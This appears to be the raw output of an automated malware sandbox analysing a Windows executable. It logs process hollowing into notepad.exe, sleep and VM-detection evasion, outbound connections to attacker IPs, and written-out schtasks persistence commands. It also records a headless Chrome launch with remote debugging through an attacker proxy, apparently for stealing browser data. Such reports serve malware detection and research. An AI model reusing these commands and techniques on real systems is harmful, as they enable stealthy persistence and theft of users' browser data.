Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2518	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3749	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2763	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1648	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3702
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 512
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2680
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2791
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1988
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3172
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1402
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2667
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 901
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3066
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3529
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 815

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 332	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4924	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6396	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6336	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6980	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6940	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2368	Thread sleep count: 2680 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5124	Thread sleep count: 1859 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1072	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5224	Thread sleep count: 2791 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384	Thread sleep count: 1988 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4248	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5272	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2288	Thread sleep count: 3172 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 1402 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 348	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6996	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1236	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6828	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7108	Thread sleep count: 3529 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6020	Thread sleep count: 815 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7008	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\0A7XTINw3R.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystemProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystemProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystemProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Programs\	Jump to behavior

Source: cscript.exe, 00000019.00000002.2537510664.00000288E3C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: malnotify.exe, 00000012.00000002.2462064895.0000000000CB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllzzF
Source: svchost.exe, 00000010.00000002.2948211672.0000024EB9E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2951547105.0000024EBF45A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2731036994.00000166EE44A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cscript.exe, 00000019.00000002.2537510664.00000288E3C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000028.00000002.2731036994.00000166EE46C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi
Source: powershell.exe, 0000001E.00000002.2512591924.0000022A5DEED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=g
Source: 0A7XTINw3R.exe, 00000000.00000002.2246842323.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2451341973.0000000001134000.00000004.00000020.00020000.00000000.sdmp, malnotify.exe, 0000001A.00000002.2493113665.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001B.00000002.2957697507.000001DD0FF7E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000020.00000002.2957262009.00000180FF64F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: winclock.exe, 0000000C.00000002.2058263752.0000000001198000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\notepad.exe	Network Connect: 157.7.208.157 443
Source: C:\Windows\System32\notepad.exe	Network Connect: 185.196.8.218 8080

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory allocated: C:\Windows\System32\notepad.exe base: 7FF7C9FC0000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory allocated: C:\Windows\System32\notepad.exe base: 7FF7C9FC0000 protect: page execute and read and write			Jump to behavior

Hijacks the control flow in another process

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: PID: 1852 base: 7FF7CA501000 value: FF			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: PID: 280 base: 7FF7CA501000 value: FF			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7C9FC0000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7C9FC0000 value starts with: 4D5A			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Thread register set: target process: 1852			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Thread register set: target process: 280			Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section unmapped: C:\Windows\System32\notepad.exe base address: 7FF7C9FC0000			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section unmapped: C:\Windows\System32\notepad.exe base address: 7FF7C9FC0000			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7C9FC0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7C9FC1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA25B000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA501000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5CF000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5DF000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5E0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5E1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5EE000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: BEB7508010	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7C9FC0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7C9FC1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA25B000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA501000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5CF000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5DF000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5E0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5E1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 7FF7CA5EE000	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Memory written: C:\Windows\System32\notepad.exe base: 4B97EA1010	Jump to behavior

Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn RunUpdateNotificationSvc	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn HiveUploadService /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat\" /sc onlogon /rl highest /f	Jump to behavior
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn HiveUploadService	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Process chrome \| Stop-Process -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs"	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo "d42706bf42e64bbdfe3696dd11d9bad4.vbs"	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"	Jump to behavior
